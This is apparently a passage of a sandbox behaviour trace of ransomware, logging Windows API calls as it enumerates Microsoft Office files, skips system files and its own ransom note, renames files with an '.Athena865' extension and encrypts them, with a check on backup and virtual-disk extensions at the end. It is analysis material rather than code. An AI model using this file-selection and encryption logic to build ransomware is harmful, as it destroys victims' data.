[0148.315] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.315] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.315] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0, lpName=0x0) returned 0x154 [0148.317] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0) returned 0x100000 [0148.318] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.318] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.319] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.319] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.319] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0148.319] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.319] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0148.319] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.319] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.319] CloseHandle (hObject=0x154) returned 1 [0148.319] CloseHandle (hObject=0x17c) returned 1 [0148.319] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0148.320] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.320] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.320] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb770e200, ftCreationTime.dwHighDateTime=0x1c5aeb1, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb770e200, ftLastWriteTime.dwHighDateTime=0x1c5aeb1, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO_STD_F_COL.HXK", cAlternateFileName="VIB8A9~1.HXK")) returned 1 [0148.320] lstrcmpiW (lpString1="VISIO_STD_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.320] lstrcmpiW (lpString1="VISIO_STD_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.320] lstrcmpiW (lpString1="VISIO_STD_F_COL.HXK", lpString2=".") returned 1 [0148.320] lstrcmpiW (lpString1="VISIO_STD_F_COL.HXK", lpString2="..") returned 1 [0148.320] lstrcmpiW (lpString1="VISIO_STD_F_COL.HXK", lpString2="windows") returned -1 [0148.320] lstrcmpiW (lpString1="VISIO_STD_F_COL.HXK", lpString2="bootmgr") returned 1 [0148.320] lstrcmpiW (lpString1="VISIO_STD_F_COL.HXK", lpString2="temp") returned 1 [0148.320] lstrcmpiW (lpString1="VISIO_STD_F_COL.HXK", lpString2="pagefile.sys") returned 1 [0148.320] lstrcmpiW (lpString1="VISIO_STD_F_COL.HXK", lpString2="boot") returned 1 [0148.320] lstrcmpiW (lpString1="VISIO_STD_F_COL.HXK", lpString2="ids.txt") returned 1 [0148.320] lstrcmpiW (lpString1="VISIO_STD_F_COL.HXK", lpString2="ntuser.dat") returned 1 [0148.320] lstrcmpiW (lpString1="VISIO_STD_F_COL.HXK", lpString2="perflogs") returned 1 [0148.320] lstrcmpiW (lpString1="VISIO_STD_F_COL.HXK", lpString2="MSBuild") returned 1 [0148.320] lstrlenW (lpString="VISIO_STD_F_COL.HXK") returned 19 [0148.320] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO_STD_F_COL.HXK" | out: lpString1="VISIO_STD_F_COL.HXK") returned="VISIO_STD_F_COL.HXK" [0148.320] lstrlenW (lpString="VISIO_STD_F_COL.HXK") returned 19 [0148.320] lstrlenW (lpString="Athena865") returned 9 [0148.320] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0148.320] lstrlenW (lpString=".dll") returned 4 [0148.320] lstrcmpiW (lpString1="VISIO_STD_F_COL.HXK", lpString2=".dll") returned 1 [0148.320] lstrlenW (lpString=".lnk") returned 4 [0148.321] lstrcmpiW (lpString1="VISIO_STD_F_COL.HXK", lpString2=".lnk") returned 1 [0148.321] lstrlenW (lpString=".ini") returned 4 [0148.321] lstrcmpiW (lpString1="VISIO_STD_F_COL.HXK", lpString2=".ini") returned 1 [0148.321] lstrlenW (lpString=".sys") returned 4 [0148.321] lstrcmpiW (lpString1="VISIO_STD_F_COL.HXK", lpString2=".sys") returned 1 [0148.321] lstrlenW (lpString="VISIO_STD_F_COL.HXK") returned 19 [0148.321] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.Athena865") returned 77 [0148.321] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0148.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0148.323] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0148.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0148.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.323] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.324] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.324] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.324] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x154 [0148.326] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0148.326] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.328] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.328] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0148.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0148.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.329] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.329] CloseHandle (hObject=0x154) returned 1 [0148.329] CloseHandle (hObject=0x17c) returned 1 [0148.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0148.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.329] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb770e200, ftCreationTime.dwHighDateTime=0x1c5aeb1, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb770e200, ftLastWriteTime.dwHighDateTime=0x1c5aeb1, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO_STD_K_COL.HXK", cAlternateFileName="VI5545~1.HXK")) returned 1 [0148.330] lstrcmpiW (lpString1="VISIO_STD_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.330] lstrcmpiW (lpString1="VISIO_STD_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.330] lstrcmpiW (lpString1="VISIO_STD_K_COL.HXK", lpString2=".") returned 1 [0148.330] lstrcmpiW (lpString1="VISIO_STD_K_COL.HXK", lpString2="..") returned 1 [0148.330] lstrcmpiW (lpString1="VISIO_STD_K_COL.HXK", lpString2="windows") returned -1 [0148.330] lstrcmpiW (lpString1="VISIO_STD_K_COL.HXK", lpString2="bootmgr") returned 1 [0148.330] lstrcmpiW (lpString1="VISIO_STD_K_COL.HXK", lpString2="temp") returned 1 [0148.330] lstrcmpiW (lpString1="VISIO_STD_K_COL.HXK", lpString2="pagefile.sys") returned 1 [0148.330] lstrcmpiW (lpString1="VISIO_STD_K_COL.HXK", lpString2="boot") returned 1 [0148.330] lstrcmpiW (lpString1="VISIO_STD_K_COL.HXK", lpString2="ids.txt") returned 1 [0148.330] lstrcmpiW (lpString1="VISIO_STD_K_COL.HXK", lpString2="ntuser.dat") returned 1 [0148.330] lstrcmpiW (lpString1="VISIO_STD_K_COL.HXK", lpString2="perflogs") returned 1 [0148.330] lstrcmpiW (lpString1="VISIO_STD_K_COL.HXK", lpString2="MSBuild") returned 1 [0148.330] lstrlenW (lpString="VISIO_STD_K_COL.HXK") returned 19 [0148.330] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO_STD_K_COL.HXK" | out: lpString1="VISIO_STD_K_COL.HXK") returned="VISIO_STD_K_COL.HXK" [0148.330] lstrlenW (lpString="VISIO_STD_K_COL.HXK") returned 19 [0148.330] lstrlenW (lpString="Athena865") returned 9 [0148.330] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0148.330] lstrlenW (lpString=".dll") returned 4 [0148.330] lstrcmpiW (lpString1="VISIO_STD_K_COL.HXK", lpString2=".dll") returned 1 [0148.330] lstrlenW (lpString=".lnk") returned 4 [0148.330] lstrcmpiW (lpString1="VISIO_STD_K_COL.HXK", lpString2=".lnk") returned 1 [0148.330] lstrlenW (lpString=".ini") returned 4 [0148.330] lstrcmpiW (lpString1="VISIO_STD_K_COL.HXK", lpString2=".ini") returned 1 [0148.330] lstrlenW (lpString=".sys") returned 4 [0148.330] lstrcmpiW (lpString1="VISIO_STD_K_COL.HXK", lpString2=".sys") returned 1 [0148.330] lstrlenW (lpString="VISIO_STD_K_COL.HXK") returned 19 [0148.331] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.Athena865") returned 77 [0148.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0148.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0148.332] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0148.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0148.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.333] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.333] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.333] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.334] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x154 [0148.336] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0148.336] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.337] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.337] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0148.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0148.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.338] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.338] CloseHandle (hObject=0x154) returned 1 [0148.338] CloseHandle (hObject=0x17c) returned 1 [0148.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0148.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.338] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xc570, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISUTILS.VSL", cAlternateFileName="")) returned 1 [0148.338] lstrcmpiW (lpString1="VISUTILS.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.338] lstrcmpiW (lpString1="VISUTILS.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.338] lstrcmpiW (lpString1="VISUTILS.VSL", lpString2=".") returned 1 [0148.338] lstrcmpiW (lpString1="VISUTILS.VSL", lpString2="..") returned 1 [0148.338] lstrcmpiW (lpString1="VISUTILS.VSL", lpString2="windows") returned -1 [0148.338] lstrcmpiW (lpString1="VISUTILS.VSL", lpString2="bootmgr") returned 1 [0148.338] lstrcmpiW (lpString1="VISUTILS.VSL", lpString2="temp") returned 1 [0148.339] lstrcmpiW (lpString1="VISUTILS.VSL", lpString2="pagefile.sys") returned 1 [0148.339] lstrcmpiW (lpString1="VISUTILS.VSL", lpString2="boot") returned 1 [0148.339] lstrcmpiW (lpString1="VISUTILS.VSL", lpString2="ids.txt") returned 1 [0148.339] lstrcmpiW (lpString1="VISUTILS.VSL", lpString2="ntuser.dat") returned 1 [0148.339] lstrcmpiW (lpString1="VISUTILS.VSL", lpString2="perflogs") returned 1 [0148.339] lstrcmpiW (lpString1="VISUTILS.VSL", lpString2="MSBuild") returned 1 [0148.339] lstrlenW (lpString="VISUTILS.VSL") returned 12 [0148.339] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISUTILS.VSL" | out: lpString1="VISUTILS.VSL") returned="VISUTILS.VSL" [0148.339] lstrlenW (lpString="VISUTILS.VSL") returned 12 [0148.339] lstrlenW (lpString="Athena865") returned 9 [0148.339] lstrcmpiW (lpString1="UTILS.VSL", lpString2="Athena865") returned 1 [0148.339] lstrlenW (lpString=".dll") returned 4 [0148.339] lstrcmpiW (lpString1="VISUTILS.VSL", lpString2=".dll") returned 1 [0148.339] lstrlenW (lpString=".lnk") returned 4 [0148.339] lstrcmpiW (lpString1="VISUTILS.VSL", lpString2=".lnk") returned 1 [0148.339] lstrlenW (lpString=".ini") returned 4 [0148.339] lstrcmpiW (lpString1="VISUTILS.VSL", lpString2=".ini") returned 1 [0148.339] lstrlenW (lpString=".sys") returned 4 [0148.339] lstrcmpiW (lpString1="VISUTILS.VSL", lpString2=".sys") returned 1 [0148.339] lstrlenW (lpString="VISUTILS.VSL") returned 12 [0148.339] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.Athena865") returned 70 [0148.339] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl.athena865"), dwFlags=0x1) returned 1 [0148.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0148.341] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=50544) returned 1 [0148.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0148.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.341] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.342] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.342] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.342] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc870, lpName=0x0) returned 0x154 [0148.344] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc870) returned 0x100000 [0148.346] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.347] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.347] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0148.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0148.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.348] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.348] CloseHandle (hObject=0x154) returned 1 [0148.348] CloseHandle (hObject=0x17c) returned 1 [0148.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0148.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.349] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad844100, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x52086660, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad844100, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x10b88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISWEB.VSL", cAlternateFileName="")) returned 1 [0148.349] lstrcmpiW (lpString1="VISWEB.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.349] lstrcmpiW (lpString1="VISWEB.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.349] lstrcmpiW (lpString1="VISWEB.VSL", lpString2=".") returned 1 [0148.349] lstrcmpiW (lpString1="VISWEB.VSL", lpString2="..") returned 1 [0148.349] lstrcmpiW (lpString1="VISWEB.VSL", lpString2="windows") returned -1 [0148.349] lstrcmpiW (lpString1="VISWEB.VSL", lpString2="bootmgr") returned 1 [0148.349] lstrcmpiW (lpString1="VISWEB.VSL", lpString2="temp") returned 1 [0148.349] lstrcmpiW (lpString1="VISWEB.VSL", lpString2="pagefile.sys") returned 1 [0148.349] lstrcmpiW (lpString1="VISWEB.VSL", lpString2="boot") returned 1 [0148.349] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISWEB.VSL" | out: lpString1="VISWEB.VSL") returned="VISWEB.VSL" [0148.349] lstrlenW (lpString="VISWEB.VSL") returned 10 [0148.349] lstrlenW (lpString="Athena865") returned 9 [0148.349] lstrcmpiW (lpString1="ISWEB.VSL", lpString2="Athena865") returned 1 [0148.349] lstrlenW (lpString=".dll") returned 4 [0148.349] lstrcmpiW (lpString1="VISWEB.VSL", lpString2=".dll") returned 1 [0148.349] lstrlenW (lpString=".lnk") returned 4 [0148.350] lstrcmpiW (lpString1="VISWEB.VSL", lpString2=".lnk") returned 1 [0148.350] lstrlenW (lpString=".ini") returned 4 [0148.350] lstrcmpiW (lpString1="VISWEB.VSL", lpString2=".ini") returned 1 [0148.350] lstrlenW (lpString=".sys") returned 4 [0148.350] lstrcmpiW (lpString1="VISWEB.VSL", lpString2=".sys") returned 1 [0148.350] lstrlenW (lpString="VISWEB.VSL") returned 10 [0148.350] lstrlenW (lpString="bak") returned 3 [0148.350] lstrcmpiW (lpString1="VSL", lpString2="bak") returned 1 [0148.350] lstrlenW (lpString="ba_") returned 3 [0148.350] lstrcmpiW (lpString1="VSL", lpString2="ba_") returned 1 [0148.350] lstrlenW (lpString="dbb") returned 3 [0148.350] lstrcmpiW (lpString1="VSL", lpString2="dbb") returned 1 [0148.350] lstrlenW (lpString="vmdk") returned 4 [0148.350] lstrcmpiW (lpString1=".VSL", lpString2="vmdk") returned -1 [0148.350] lstrlenW (lpString="rar") returned 3 [0148.350] lstrcmpiW (lpString1="VSL", lpString2="rar") returned 1 [0148.350] lstrlenW (lpString="zip") returned 3 [0148.350] lstrcmpiW (lpString1="VSL", lpString2="zip") returned -1 [0148.350] lstrlenW (lpString="tgz") returned 3 [0148.350] lstrcmpiW (lpString1="VSL", lpString2="tgz") returned 1 [0148.350] lstrlenW (lpString="vbox") returned 4 [0148.350] lstrcmpiW (lpString1=".VSL", lpString2="vbox") returned -1 [0148.350] lstrlenW (lpString="vdi") returned 3 [0148.350] lstrcmpiW (lpString1="VSL", lpString2="vdi") returned 1 [0148.350] lstrlenW (lpString="vhd") returned 3 [0148.350] lstrcmpiW (lpString1="VSL", lpString2="vhd") returned 1 [0148.350] lstrlenW (lpString="vhdx") returned 4 [0148.350] lstrcmpiW (lpString1=".VSL", lpString2="vhdx") returned -1 [0148.350] lstrlenW 